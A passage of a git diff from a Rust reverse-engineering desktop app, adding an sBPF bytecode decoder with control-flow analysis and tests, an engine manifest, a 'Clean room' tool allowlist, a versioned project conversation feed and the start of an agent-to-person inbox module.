flow }) +} + +/// Branch/jump target byte address: relative to the next slot, counted in slots. +fn branch_target(base: u64, slot: u64, off: i16) -> u64 { + let next = slot.wrapping_add(1); + let t = (next as i64).wrapping_add(off as i64); + base.wrapping_add((t as u64).wrapping_mul(8)) +} + +/// Decode a `call imm` into (mnemonic, operands, flow), honouring the version's call model. +fn decode_call(base: u64, slot: u64, src: u8, imm32: i32, version: SbpfVersion) -> (String, String, Flow) { + match version { + SbpfVersion::V2 => { + // v2: `call imm` is pc-relative (imm counts slots from the next slot). + let next = slot.wrapping_add(1); + let t = (next as i64).wrapping_add(imm32 as i64); + let target = base.wrapping_add((t as u64).wrapping_mul(8)); + ("call".to_string(), format!("{target:#x}"), Flow::Call { target }) + } + SbpfVersion::V1 => { + // v1: `src == 1` marks an internal pc-relative call; otherwise imm is a hash + // (a syscall, or an internal function looked up in the VM function registry). + if src == 1 { + let next = slot.wrapping_add(1); + let t = (next as i64).wrapping_add(imm32 as i64); + let target = base.wrapping_add((t as u64).wrapping_mul(8)); + ("call".to_string(), format!("{target:#x}"), Flow::Call { target }) + } else { + ("call".to_string(), format!("0x{:08x} (hash)", imm32 as u32), Flow::CallHash { imm: imm32 as u32 }) + } + } + } +} + +/// Decode a whole code blob into slots, following the 8/16-byte sizes. Bounded by [`MAX_INSNS`] +/// and [`MAX_CODE`]; stops cleanly at a short tail. +pub fn decode(code: &[u8], base: u64, version: SbpfVersion) -> Vec { + let mut out = Vec::new(); + let len = code.len().min(MAX_CODE); + let mut at = 0usize; + while at + 8 <= len && out.len() < MAX_INSNS { + match decode_one(code, at, base, version) { + Some(insn) => { + let step = usize::from(insn.size).max(8); + out.push(insn); + at = match at.checked_add(step) { + Some(n) => n, + None => break, + }; + } + None => break, + } + } + out +} + +// ------------------------------------------------------------------------------------------------ +// Functions, basic blocks, CFG + +/// A basic block: a maximal straight-line run ending at a branch, jump, exit or unknown. +#[derive(Debug, Clone, PartialEq, Serialize)] +pub struct Block { + #[serde(serialize_with = "hex")] + pub start: u64, + /// Byte address just past the last slot. + #[serde(serialize_with = "hex")] + pub end: u64, + /// Indices into the function's instruction slice. + pub first: usize, + pub count: usize, + /// Successor block start addresses. + #[serde(serialize_with = "hex_vec")] + pub successors: Vec, + /// `fallthrough`, `jump`, `branch`, `exit`, `call_return`, `unknown`. + pub terminator: &'static str, +} + +fn hex_vec(v: &[u64], s: S) -> Result { + use serde::ser::SerializeSeq; + let mut seq = s.serialize_seq(Some(v.len()))?; + for a in v { + seq.serialize_element(&format!("{a:#x}"))?; + } + seq.end() +} + +/// One discovered function with its blocks. +#[derive(Debug, Clone, PartialEq, Serialize)] +pub struct Function { + #[serde(serialize_with = "hex")] + pub entry: u64, + #[serde(skip_serializing_if = "Option::is_none")] + pub name: Option, + pub instruction_count: usize, + pub block_count: usize, + pub blocks: Vec, +} + +/// The result of analysing a decoded code blob. +#[derive(Debug, Clone, PartialEq, Serialize)] +pub struct Analysis { + pub functions: Vec, + /// Call targets we resolved to code addresses (pc-relative calls). + #[serde(serialize_with = "hex_vec")] + pub call_targets: Vec, + /// `call imm` hashes (syscalls / registry functions), de-duplicated. + pub call_hashes: Vec, + pub has_indirect_calls: bool, +} + +/// Discover functions (from `entries` plus resolved call targets), split them into basic +/// blocks and build a simple CFG. `insns` must be sorted by address (as [`decode`] returns). +pub fn analyze(insns: &[Insn], entries: &[(u64, Option)]) -> Analysis { + use std::collections::{BTreeMap, BTreeSet}; + + // Index slots by address for quick lookup. + let by_addr: BTreeMap = insns.iter().enumerate().map(|(i, n)| (n.addr, i)).collect(); + + // Gather call targets and hashes. + let mut call_targets: BTreeSet = BTreeSet::new(); + let mut call_hashes: BTreeSet = BTreeSet::new(); + let mut has_indirect_calls = false; + for n in insns { + match &n.flow { + Flow::Call { target } => { + call_targets.insert(*target); + } + Flow::CallHash { imm } => { + call_hashes.insert(*imm); + } + Flow::CallReg => has_indirect_calls = true, + _ => {} + } + } + + // Function entry set: provided entries + resolved internal call targets that land on a slot. + let mut names: BTreeMap = BTreeMap::new(); + let mut entry_set: BTreeSet = BTreeSet::new(); + for (a, nm) in entries { + entry_set.insert(*a); + if let Some(nm) = nm { + names.insert(*a, nm.clone()); + } + } + for t in &call_targets { + if by_addr.contains_key(t) { + entry_set.insert(*t); + } + } + // If nothing was provided and there are instructions, treat the first slot as an entry. + if entry_set.is_empty() + && let Some(first) = insns.first() + { + entry_set.insert(first.addr); + } + + // Leaders (block starts): every function entry, every branch/jump target, and the slot + // after any block-ending instruction. + let mut leaders: BTreeSet = entry_set.iter().copied().collect(); + for (i, n) in insns.iter().enumerate() { + match &n.flow { + Flow::Jump { target } | Flow::Branch { target } => { + if by_addr.contains_key(target) { + leaders.insert(*target); + } + if let Some(next) = insns.get(i + 1) { + leaders.insert(next.addr); + } + } + Flow::Exit | Flow::Unknown => { + if let Some(next) = insns.get(i + 1) { + leaders.insert(next.addr); + } + } + _ => {} + } + } + + // Walk each function from its entry, collecting the reachable block leaders, bounded. + let mut functions = Vec::new(); + let entry_vec: Vec = entry_set.iter().copied().collect(); + for &entry in &entry_vec { + if !by_addr.contains_key(&entry) { + continue; + } + let mut visited: BTreeSet = BTreeSet::new(); + let mut worklist = vec![entry]; + let mut blocks: Vec = Vec::new(); + let mut func_insns = 0usize; + // Other function entries stop this function's walk. + let others: BTreeSet = entry_set.iter().copied().filter(|a| *a != entry).collect(); + while let Some(bstart) = worklist.pop() { + if !visited.insert(bstart) { + continue; + } + if blocks.len() >= MAX_INSNS { + break; + } + let Some(&bi) = by_addr.get(&bstart) else { continue }; + // Extend the block until a terminator or the next leader. + let mut i = bi; + let mut succ: Vec = Vec::new(); + let mut terminator = "fallthrough"; + loop { + let Some(n) = insns.get(i) else { + terminator = "fallthrough"; + break; + }; + let is_last = n.flow.ends_block() || insns.get(i + 1).map(|m| leaders.contains(&m.addr) && m.addr != n.addr).unwrap_or(true); + if n.flow.ends_block() { + match &n.flow { + Flow::Jump { target } => { + terminator = "jump"; + if by_addr.contains_key(target) && !others.contains(target) { + succ.push(*target); + } + } + Flow::Branch { target } => { + terminator = "branch"; + if by_addr.contains_key(target) && !others.contains(target) { + succ.push(*target); + } + if let Some(next) = insns.get(i + 1) + && !others.contains(&next.addr) + { + succ.push(next.addr); + } + } + Flow::Exit => terminator = "exit", + Flow::Unknown => terminator = "unknown", + _ => {} + } + i += 1; + break; + } + // A call falls through; keep going unless the next slot is a leader. + if is_last { + if let Some(next) = insns.get(i + 1) { + if !others.contains(&next.addr) { + succ.push(next.addr); + } + terminator = if matches!(n.flow, Flow::Call { .. } | Flow::CallHash { .. } | Flow::CallReg) { "call_return" } else { "fallthrough" }; + } + i += 1; + break; + } + i += 1; + } + let count = i.saturating_sub(bi); + func_insns += count; + let end = insns.get(i).map(|n| n.addr).or_else(|| insns.get(i.saturating_sub(1)).map(|n| n.addr + u64::from(n.size))).unwrap_or(bstart); + for s in &succ { + worklist.push(*s); + } + blocks.push(Block { start: bstart, end, first: bi, count, successors: succ, terminator }); + } + blocks.sort_by_key(|b| b.start); + functions.push(Function { entry, name: names.get(&entry).cloned(), instruction_count: func_insns, block_count: blocks.len(), blocks }); + } + functions.sort_by_key(|f| f.entry); + + Analysis { functions, call_targets: call_targets.into_iter().collect(), call_hashes: call_hashes.into_iter().collect(), has_indirect_calls } +} + +/// A very small pseudo rendering of one function: blocks as labels, each slot as a line, and +/// `goto`/`if … goto` at terminators. Not a decompiler — a readable structured listing. +pub fn pseudo(func: &Function, insns: &[Insn], resolve: &dyn Fn(u32) -> Option) -> String { + let mut out = String::new(); + let title = func.name.clone().unwrap_or_else(|| format!("func_{:x}", func.entry)); + out.push_str(&format!("fn {title}() {{ // entry {:#x}, {} blocks\n", func.entry, func.block_count)); + for b in &func.blocks { + out.push_str(&format!(" L_{:x}:\n", b.start)); + let end = b.first.saturating_add(b.count); + for n in insns.get(b.first..end.min(insns.len())).unwrap_or(&[]) { + match &n.flow { + Flow::Branch { target } => { + out.push_str(&format!(" if ({}) goto L_{:x};\n", n.operands, target)); + } + Flow::Jump { target } => { + out.push_str(&format!(" goto L_{:x};\n", target)); + } + Flow::Exit => out.push_str(" return;\n"), + Flow::Call { target } => { + out.push_str(&format!(" call func_{target:x}();\n")); + } + Flow::CallHash { imm } => match resolve(*imm) { + Some(name) => out.push_str(&format!(" {name}(); // syscall 0x{imm:08x}\n")), + None => out.push_str(&format!(" call_hash(0x{imm:08x});\n")), + }, + Flow::CallReg => out.push_str(&format!(" callx {};\n", n.operands)), + _ => out.push_str(&format!(" {} {};\n", n.mnemonic, n.operands)), + } + } + } + out.push_str("}\n"); + out +} + +#[cfg(test)] +mod tests { + use super::*; + + /// Encode one 8-byte slot. + fn ins(op: u8, dst: u8, src: u8, off: i16, imm: i32) -> [u8; 8] { + let mut b = [0u8; 8]; + b[0] = op; + b[1] = (src << 4) | (dst & 0x0f); + b[2..4].copy_from_slice(&off.to_le_bytes()); + b[4..8].copy_from_slice(&imm.to_le_bytes()); + b + } + + #[test] + fn decodes_basic_program() { + let mut code = Vec::new(); + code.extend_from_slice(&ins(0xb7, 1, 0, 0, 42)); // mov64 r1, 42 + code.extend_from_slice(&ins(0x07, 1, 0, 0, 1)); // add64 r1, 1 + code.extend_from_slice(&ins(0x85, 0, 0, 0, 0x1234)); // call hash (v1, src=0) + code.extend_from_slice(&ins(0x95, 0, 0, 0, 0)); // exit + let insns = decode(&code, 0x100, SbpfVersion::V1); + assert_eq!(insns.len(), 4); + assert_eq!(insns[0].mnemonic, "mov64"); + assert_eq!(insns[0].operands, "r1, 0x2a"); + assert_eq!(insns[1].mnemonic, "add64"); + assert_eq!(insns[2].mnemonic, "call"); + assert!(matches!(insns[2].flow, Flow::CallHash { imm: 0x1234 })); + assert!(matches!(insns[3].flow, Flow::Exit)); + } + + #[test] + fn lddw_spans_two_slots() { + let mut code = Vec::new(); + code.extend_from_slice(&ins(0x18, 2, 0, 0, 0x5678)); // lddw r2, ... + code.extend_from_slice(&ins(0x00, 0, 0, 0, 0x1234)); // high half + code.extend_from_slice(&ins(0x95, 0, 0, 0, 0)); // exit + let insns = decode(&code, 0, SbpfVersion::V1); + assert_eq!(insns.len(), 2); + assert_eq!(insns[0].mnemonic, "lddw"); + assert_eq!(insns[0].size, 16); + assert_eq!(insns[0].imm as u64, 0x1234_0000_5678); + assert_eq!(insns[1].addr, 16); // exit is at slot 2 (byte 16) + } + + #[test] + fn jumps_and_cfg() { + let mut code = Vec::new(); + code.extend_from_slice(&ins(0xb7, 0, 0, 0, 0)); // slot0: mov64 r0, 0 + code.extend_from_slice(&ins(0x15, 1, 0, 1, 0)); // slot1: jeq r1, 0, +1 -> slot3 + code.extend_from_slice(&ins(0xb7, 0, 0, 0, 1)); // slot2: mov64 r0, 1 + code.extend_from_slice(&ins(0x95, 0, 0, 0, 0)); // slot3: exit + let insns = decode(&code, 0, SbpfVersion::V1); + assert!(matches!(insns[1].flow, Flow::Branch { target: 24 })); + let a = analyze(&insns, &[(0, Some("entry".to_string()))]); + assert_eq!(a.functions.len(), 1); + let f = &a.functions[0]; + // Blocks: [0..1], [2], [3] — branch target and fallthrough both lead to leaders. + assert!(f.block_count >= 3, "blocks: {}", f.block_count); + let entry_block = f.blocks.iter().find(|b| b.start == 0).unwrap(); + assert_eq!(entry_block.terminator, "branch"); + assert_eq!(entry_block.successors.len(), 2); + } + + #[test] + fn pc_relative_call_discovers_function() { + let mut code = Vec::new(); + code.extend_from_slice(&ins(0x85, 0, 1, 0, 1)); // slot0: call +1 (v1 src=1) -> slot2 + code.extend_from_slice(&ins(0x95, 0, 0, 0, 0)); // slot1: exit + code.extend_from_slice(&ins(0xb7, 0, 0, 0, 7)); // slot2: mov64 r0, 7 + code.extend_from_slice(&ins(0x95, 0, 0, 0, 0)); // slot3: exit + let insns = decode(&code, 0, SbpfVersion::V1); + assert!(matches!(insns[0].flow, Flow::Call { target: 16 })); + let a = analyze(&insns, &[(0, Some("entry".to_string()))]); + assert_eq!(a.call_targets, vec![16]); + // Two functions: entry at 0 and the called one at 16. + assert_eq!(a.functions.len(), 2); + assert!(a.functions.iter().any(|f| f.entry == 16)); + } + + #[test] + fn v2_call_is_pc_relative() { + let code = ins(0x85, 0, 0, 0, 2); // call +2 in v2 -> slot3 + let insns = decode(&code, 0, SbpfVersion::V2); + assert!(matches!(insns[0].flow, Flow::Call { target: 24 })); + } + + #[test] + fn hostile_input_never_panics() { + for len in 0..64usize { + let junk: Vec = (0..len).map(|i| (i.wrapping_mul(97) ^ 0x5a) as u8).collect(); + for v in [SbpfVersion::V1, SbpfVersion::V2] { + let insns = decode(&junk, 0x1000, v); + let _ = analyze(&insns, &[]); + for n in &insns { + let _ = n.text(); + } + } + } + // Every opcode byte, truncated and full, both versions. + for op in 0u16..=255 { + let code = ins(op as u8, 0x0f, 0x0f, -1, -1); + for v in [SbpfVersion::V1, SbpfVersion::V2] { + let _ = decode(&code, 0, v); + let _ = decode(&code[..code.len().saturating_sub(3)], 0, v); + } + } + } +} diff --git a/desktop/crates/engine/Cargo.toml b/desktop/crates/engine/Cargo.toml new file mode 100644 index 0000000..2c201f4 --- /dev/null +++ b/desktop/crates/engine/Cargo.toml @@ -0,0 +1,45 @@ +[package] +name = "craft-anything-engine" +description = "Craft Anything engine: session, projects, the tool registry every surface dispatches through, settings and jobs" +version.workspace = true +edition.workspace = true +license.workspace = true +publish = false + +[lints] +workspace = true + +[dependencies] +craft-anything-evidence = { workspace = true } +craft-anything-formats = { workspace = true } +craft-anything-disasm = { workspace = true } +craft-anything-js = { workspace = true } +craft-anything-analysis = { workspace = true } +craft-anything-platform = { workspace = true } +craft-anything-engines = { workspace = true } +serde = { workspace = true } +serde_json = { workspace = true } +schemars = { workspace = true } +bitflags = { workspace = true } +thiserror = { workspace = true } +log = { workspace = true } +toml = { workspace = true } +sha2 = { workspace = true } +hex = { workspace = true } +regex = { workspace = true } +dirs = "6" +# Browser (Chrome DevTools Protocol) client: hand-rolled WebSocket framing needs only a SHA-1 and +# base64 for the loopback handshake; PNG decoding is for screenshot pixel diffs. All pure Rust. +base64 = "0.22" +png = "0.17" +# The person's reference pictures may be JPEG, WebP or GIF (decoders only; pure Rust, MIT/Apache). +image = { version = "0.25", default-features = false, features = ["jpeg", "webp", "gif"] } + +[features] +# WASM component plugins (R1.8): compiles wasmtime, so off by default. +wasm-plugins = ["craft-anything-engines/wasm-plugins"] + +[dev-dependencies] +sha1 = "0.10" +craft-anything-testkit = { workspace = true } +tempfile = "3" diff --git a/desktop/crates/engine/src/clean_room.rs b/desktop/crates/engine/src/clean_room.rs new file mode 100644 index 0000000..7972b48 --- /dev/null +++ b/desktop/crates/engine/src/clean_room.rs @@ -0,0 +1,200 @@ +//! Clean room: what runs without looking inside the original. +//! +//! In Clean room (Deep mode off) nothing reads a target's code, files or page source. Only the +//! tools in [`TOOLS`] run. They touch no target at all (the session, evidence and open questions, +//! projects, settings, engines, the builder's own project, generated assets), or they watch from +//! outside, as a visitor or a user would: a website's screenshots and visible layout, a picture of +//! a window, the controls on its screen, a recorded run, a phone's screen. Every other tool, a +//! plugin's included, needs Deep mode, so a new tool is Deep-only until it's added here. + +use crate::Availability; +use craft_anything_evidence::{ErrorCode, ToolError}; + +/// The tools that run in Clean room, by id. Tools of the AI and setup layers are listed here too. +pub const TOOLS: &[&str] = &[ + // The session, its evidence and open questions, and the investigation memory. + "core_session_show", + "core_targets_list", + "core_target_select", + "core_target_close", + "core_evidence_show", + "core_evidence_browse", + "core_evidence_export", + "core_evidence_import", + "core_unknowns_show", + "core_unknown_add", + "core_unknown_edit", + "core_unknown_verify", + "core_person_ask", + "core_action_approve", + "core_investigation_show", + "core_brief_write", + "core_plan_update", + "core_hypothesis_record", + "core_hypothesis_update", + "core_finding_record", + "core_handoff_write", + "core_journal_read", + "core_report_save", + "core_report_write", + // Generated pictures and models, and the keys that pay for them. + "assets_image_generate", + "assets_model_generate", + "assets_key_set", + "assets_key_remove", + "assets_key_status", + // Projects and the rebuild run. + "project_list", + "project_show", + "project_inbox_answer", + "project_play", + "project_preview", + "project_open_folder", + "project_assets_budget", + "project_assets_allow", + "project_rename", + "project_duplicate", + "project_delete", + "project_questions_set", + "project_build_finish", + "project_pin_create", + "project_pins_list", + "project_pin_open", + "project_pin_stop", + "project_pin_rename", + "project_pin_delete", + "rebuild_start", + "rebuild_status", + "rebuild_activity_show", + "rebuild_check", + "rebuild_note", + "rebuild_note_withdraw", + "rebuild_question_ask", + "rebuild_questions_list", + "rebuild_stop", + // The builder's own project. + "build_files_list", + "build_file_read", + "build_file_write", + "build_file_edit", + "build_checklist", + "build_command_run", + // Settings, engines, plugins and this computer's setup. + "settings_show", + "settings_set", + "engines_list", + "engines_install", + "engines_app_open", + "engines_adb_check", + "engines_apktool_check", + "engines_jeb_check", + "engines_tshark_check", + "plugins_list", + "plugins_refresh", + "plugins_add", + "plugins_remove", + "setup_plan", + "setup_apply", + "setup_doctor", + "setup_uninstall", + // A website as a visitor sees it (in Clean room web_site_capture keeps only that). + "web_site_open", + "web_site_capture", + "web_page_states_capture", + "web_page_screenshot_take", + "web_pixels_compare", + "web_site_close", + // Checks a script's form; it touches no target and starts no browser. + "web_walkthrough_check", + // A program watched from outside: its window, the controls on its screen, a recorded run. + "native_window_capture", + "runtime_ui_read", + "runtime_ui_walkthrough_record", + "runtime_walkthrough_record", + "runtime_captures_compare", + // A phone, its screen and its list of apps, without reading inside them. + "adb_devices_find", + "adb_device_show", + "adb_display_show", + "adb_screenshot_take", + "adb_apps_list", + "adb_apps_find", + "adb_app_install", + "adb_app_remove", + "adb_app_launch", + "adb_app_force_stop", +]; + +/// Whether `id` runs in Clean room. +pub fn allows(id: &str) -> bool { + TOOLS.contains(&id) +} + +const REASON: &str = "This looks inside the original (its code, files or page source), which Clean room never does."; +const REMEDIATION: &str = "Turn on Deep mode: the switch in the title bar or Settings, `settings_set deep_mode true`, or `--deep` on the CLI."; + +/// Why `id` can't run in this mode, if it can't. +pub(crate) fn availability(id: &str, clean_room: bool) -> Option { + (clean_room && !allows(id)).then(|| Availability::no(REASON, REMEDIATION)) +} + +/// The error for a tool Clean room doesn't run; `details.reason` is `clean_room`. +pub(crate) fn refusal(id: &str) -> ToolError { + ToolError::new(ErrorCode::FeatureMissing, REASON).with_remediation(REMEDIATION).with_details(serde_json::json!({"reason": "clean_room", "tool": id})) +} + +/// How a report names the mode its findings were made in. +pub fn mode_words(clean_room: bool) -> &'static str { + if clean_room { "Clean room (nothing inside the original was read)" } else { "Deep (the original's code and files could be read)" } +} + +/// Whether an error is Clean room refusing a tool (so a client can offer Deep mode). +pub fn is_refusal(e: &ToolError) -> bool { + e.details.as_ref().and_then(|d| d.get("reason")).and_then(serde_json::Value::as_str) == Some("clean_room") +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn every_engine_tool_in_the_table_exists_and_none_is_listed_twice() { + let r = crate::Registry::with_all_tools(); + let higher_layers = ["rebuild_", "assets_key_", "setup_"]; + for id in TOOLS { + assert!(r.get(id).is_some() || higher_layers.iter().any(|p| id.starts_with(p)), "{id} isn't a tool"); + assert_eq!(TOOLS.iter().filter(|t| *t == id).count(), 1, "{id} is listed twice"); + } + } + + #[test] + fn looking_inside_needs_deep_mode() { + for id in [ + "core_target_open", + "core_target_triage", + "native_function_pseudocode", + "native_strings_browse", + "js_app_map", + "web_page_show", + "game_archives_list", + ] { + assert!(!allows(id), "{id} reads the original"); + assert!(availability(id, true).is_some_and(|a| !a.available)); + assert!(availability(id, false).is_none(), "Deep mode runs {id}"); + } + assert!(availability("web_site_capture", true).is_none()); + assert!(is_refusal(&refusal("native_functions_list"))); + } + + #[test] + fn a_run_picks_its_mode_without_changing_the_settings() { + let mut s = crate::testing::session(); + s.settings.deep_mode = false; + assert!(s.clean_room()); + s.deep_for_run = Some(true); + assert!(!s.clean_room() && !s.settings.deep_mode, "what's saved stays as it was"); + s.settings.deep_mode = true; + s.deep_for_run = Some(false); + assert!(s.clean_room()); + } +} diff --git a/desktop/crates/engine/src/feed.rs b/desktop/crates/engine/src/feed.rs new file mode 100644 index 0000000..94c38cb --- /dev/null +++ b/desktop/crates/engine/src/feed.rs @@ -0,0 +1,216 @@ +//! A project's conversation, as data: what the person asked, what the builder did and said, its +//! checklist, questions and checks. It's kept in the project folder (`feed.json`); a rebuild run +//! appends to it as it goes (`ai::rebuild::feed`), and every client reads the same file. + +use crate::inbox::{Inbox, Request}; +use crate::workspace::{CheckResult, Status, Step, Workspace}; +use craft_anything_evidence::{ErrorCode, ToolError}; +use serde::{Deserialize, Serialize}; +use serde_json::Value; +use std::collections::HashSet; +use std::path::Path; + +/// Where the conversation is kept in the project folder. +pub const FEED_FILE: &str = "feed.json"; + +/// The format written today (2 added `Paused`); files without a version are the earlier bare list. +pub const FEED_VERSION: u32 = 2; + +/// One step of the builder's own checklist (from its TodoWrite list). +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +pub struct PlanStep { + pub text: String, + /// What it says while doing this step ("Drawing the map"). + pub doing: String, + pub status: PlanStatus, +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +pub enum PlanStatus { + Todo, + Doing, + Done, +} + +/// One entry in a project's activity feed. +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +pub enum FeedItem { + /// The builder's checklist, kept up to date in place (shown pinned above the prompt box). + Plan(Vec), + User(String), + Step { + step: Step, + text: String, + }, + /// The agent's words (streamed). + Agent { + text: String, + streaming: bool, + }, + /// A run of tool calls, collapsed in Simple mode: (tool, finished ok?). + Work { + tools: Vec<(String, Option)>, + notes: Vec, + }, + /// A question or approval; `answer` is the person's reply once given. + Ask { + request: Request, + answer: Option, + }, + Check(CheckResult), + Error { + message: String, + remediation: Option, + /// A log with everything known about the failure, to open and inspect. + #[serde(default, skip_serializing_if = "Option::is_none")] + log: Option, + }, + /// The person paused the run (not a failure); a message or Continue carries on. + Paused, +} + +/// Mark a question or approval answered, with the words shown for the answer. +pub fn answered(feed: &mut [FeedItem], id: &str, shown: &str) { + for item in feed { + if let FeedItem::Ask { request, answer: a @ None } = item + && request.id == id + { + *a = Some(shown.to_string()); + } + } +} + +/// The saved file: `{version, items}`. Earlier files were the bare list. +#[derive(Serialize, Deserialize)] +struct Saved { + version: u32, + items: Vec, +} + +/// The feed for a project: what was saved, else rebuilt from its manifest. Questions still +/// waiting in its inbox are always there. +pub fn load(ws: &Workspace) -> Vec { + let saved = std::fs::read(ws.root.join(FEED_FILE)).ok().and_then(|b| { + serde_json::from_slice::(&b) + .ok() + .filter(|s| s.version <= FEED_VERSION) + .map(|s| s.items) + .or_else(|| serde_json::from_slice::>(&b).ok()) + }); + let Some(mut feed) = saved else { return history(ws) }; + // Nothing is streaming any more after a restart. + for item in &mut feed { + if let FeedItem::Agent { streaming, .. } = item { + *streaming = false; + } + } + let shown: HashSet = feed.iter().filter_map(|i| if let FeedItem::Ask { request, .. } = i { Some(request.id.clone()) } else { None }).collect(); + feed.extend(Inbox::new(ws.inbox_dir()).pending().into_iter().filter(|r| !shown.contains(&r.id)).map(|request| FeedItem::Ask { request, answer: None })); + feed +} + +/// A feed rebuilt from what a project saved: the request, the checks, the agent's last words, +/// and anything still waiting for an answer. +pub fn history(ws: &Workspace) -> Vec { + let m = &ws.manifest; + let mut feed = vec![FeedItem::User(m.request.clone())]; + feed.extend(m.checks.iter().cloned().map(FeedItem::Check)); + if !m.last_reply.is_empty() { + feed.push(FeedItem::Agent { text: m.last_reply.clone(), streaming: false }); + } + if matches!(m.status, Status::NeedsYou) && !m.note.is_empty() { + feed.push(FeedItem::Error { message: m.note.clone(), remediation: None, log: None }); + } + feed.extend(Inbox::new(ws.inbox_dir()).pending().into_iter().map(|request| FeedItem::Ask { request, answer: None })); + feed +} + +/// Write the feed into the project folder (only one that exists; never creates one). A feed +/// saved by a newer REI Reverse Engineer is never written over (docs/file-formats.md). +pub fn save(root: &Path, feed: &[FeedItem]) -> Result<(), ToolError> { + if !root.is_dir() { + return Ok(()); + } + let newer = std::fs::read(root.join(FEED_FILE)) + .ok() + .and_then(|b| serde_json::from_slice::(&b).ok()) + .and_then(|v| v.get("version").and_then(Value::as_u64)) + .is_some_and(|v| v > u64::from(FEED_VERSION)); + if newer { + return Err(ToolError::new(ErrorCode::NotSupported, "This project's conversation was saved by a newer REI Reverse Engineer, so it isn't changed.") + .with_remediation("Update REI Reverse Engineer to keep its conversation up to date.")); + } + let json = serde_json::to_vec(&Saved { version: FEED_VERSION, items: feed.to_vec() }).map_err(|e| ToolError::internal(e.to_string()))?; + crate::project::write_atomic(&root.join(FEED_FILE), &json) +} + +/// Record an answer given while no run is going (straight into the saved feed). `request` is the +/// question, taken before it was answered: one the saved conversation doesn't have yet (posted +/// from outside a run) is added with its answer, rather than lost once it stops waiting (#176). +pub fn record_answer(ws: &Workspace, request: &Request, shown: &str) -> Result<(), ToolError> { + let mut feed = load(ws); + if !feed.iter().any(|i| matches!(i, FeedItem::Ask { request: r, .. } if r.id == request.id)) { + feed.push(FeedItem::Ask { request: request.clone(), answer: None }); + } + answered(&mut feed, &request.id, shown); + save(&ws.root, &feed) +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::inbox::RequestKind; + use crate::workspace::TargetRef; + + #[test] + fn history_rebuilds_from_the_manifest() { + let d = tempfile::tempdir().unwrap(); + let mut ws = Workspace::create(d.path(), "x", "Clone it", TargetRef::None).unwrap(); + ws.manifest.checks.push(CheckResult { similarity: Some(70.0), ..CheckResult::new(CheckResult::WEB_VISUAL, 1, true, "") }); + ws.manifest.last_reply = "Built a page.".into(); + ws.save().unwrap(); + Inbox::new(ws.inbox_dir()).post(RequestKind::Question, "Blue or red?", "", vec![], true, None).unwrap(); + let f = history(&ws); + assert!(matches!(&f[0], FeedItem::User(r) if r == "Clone it")); + assert!(matches!(f.last(), Some(FeedItem::Ask { answer: None, .. })), "pending questions come back"); + assert_eq!(f.len(), 4); + } + + #[test] + fn older_files_load_answers_are_kept_and_newer_files_are_left_alone() { + let d = tempfile::tempdir().unwrap(); + let ws = Workspace::create(d.path(), "x", "Clone it", TargetRef::None).unwrap(); + save(&ws.root, &[FeedItem::User("Clone it".into()), FeedItem::Agent { text: "Done.".into(), streaming: true }]).unwrap(); + assert!(matches!(load(&ws).as_slice(), [FeedItem::User(_), FeedItem::Agent { streaming: false, .. }]), "nothing streams after a restart"); + let raw: Value = serde_json::from_slice(&std::fs::read(ws.root.join(FEED_FILE)).unwrap()).unwrap(); + assert_eq!(raw["version"], FEED_VERSION); + // A feed saved before versioning (the bare list) still loads. + std::fs::write(ws.root.join(FEED_FILE), br#"[{"User":"Old request"}]"#).unwrap(); + assert!(matches!(load(&ws).as_slice(), [FeedItem::User(r)] if r == "Old request")); + // Answers given with no run going are saved too. + let inbox = Inbox::new(ws.inbox_dir()); + let id = inbox.post(RequestKind::Question, "Blue or red?", "", vec![], true, None).unwrap(); + let question = inbox.pending().into_iter().find(|r| r.id == id).unwrap(); + inbox.answer(&id, &crate::inbox::Answer { choice: Some("Blue".into()), ..Default::default() }).unwrap(); + record_answer(&ws, &question, "Blue").unwrap(); + assert!(std::fs::read_to_string(ws.root.join(FEED_FILE)).unwrap().contains("\"Blue\"")); + // #176: one the saved conversation never had (posted from outside a run, answered before + // anything saved it) is kept with its answer, once, and still after the inbox forgets it. + save(&ws.root, &[FeedItem::User("Clone it".into())]).unwrap(); + let id = inbox.post(RequestKind::Question, "Which scope?", "", vec![], true, None).unwrap(); + let question = inbox.pending().into_iter().find(|r| r.id == id).unwrap(); + inbox.answer(&id, &crate::inbox::Answer { choice: Some("Minimal".into()), ..Default::default() }).unwrap(); + let _ = std::fs::remove_file(inbox.dir().join(format!("{id}.request.json"))); + let _ = std::fs::remove_file(inbox.dir().join(format!("{id}.answer.json"))); + record_answer(&ws, &question, "Minimal").unwrap(); + let asks = |f: &[FeedItem]| f.iter().filter(|i| matches!(i, FeedItem::Ask { request, answer: Some(a) } if request.id == id && a == "Minimal")).count(); + assert_eq!(asks(&load(&ws)), 1, "kept with its answer"); + record_answer(&ws, &question, "Minimal").unwrap(); + assert_eq!(asks(&load(&ws)), 1, "not twice"); + // One from a newer REI Reverse Engineer is shown as far as we can, never written over. + let newer = br#"{"version":99,"items":[{"User":"From the future"}],"extra":1}"#; + std::fs::write(ws.root.join(FEED_FILE), newer).unwrap(); + assert!(save(&ws.root, &[FeedItem::User("x".into())]).is_err()); + assert_eq!(std::fs::read(ws.root.join(FEED_FILE)).unwrap(), newer); + } +} diff --git a/desktop/crates/engine/src/inbox.rs b/desktop/crates/engine/src/inbox.rs new file mode 100644 index 0000000..5797c44 --- /dev/null +++ b/desktop/crates/engine/src/inbox.rs @@ -0,0 +1,202 @@ +//! The inbox: how an agent working on a project asks the person something — a question with +//! choices, or approval for an action — and waits for the answer the app writes back. +//! +//! It is a folder, so it works across processes (the app, our MCP server started by a coding +//! agent, the in-process agent loop): `.request.json` is written by the asker and +//! `.answer.json` by the app. Both are written atomically; the asker removes both once it has +//! read the answer. Ids are generated here and validated on every path join. + +use crate::project::write_atomic; +use craft_anything_evidence::ToolError; +use serde::{Deserialize, Serialize}; +use std::path::{Path, PathBuf}; +use std::sync::atomic::{AtomicU64, Ordering}; +use std::time::{Duration, Instant, SystemTime, UNIX_EPOCH}; + +/// The session's inbox folder (kept in `Session::ext`). Set by `mcp --inbox ` or by the +/// workflow that runs the in-process agent. +#[derive(Debug, Clone)] +pub struct InboxDir(pub PathBuf); + +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "snake_case")] +pub enum RequestKind { + /// A question; the answer is a choice 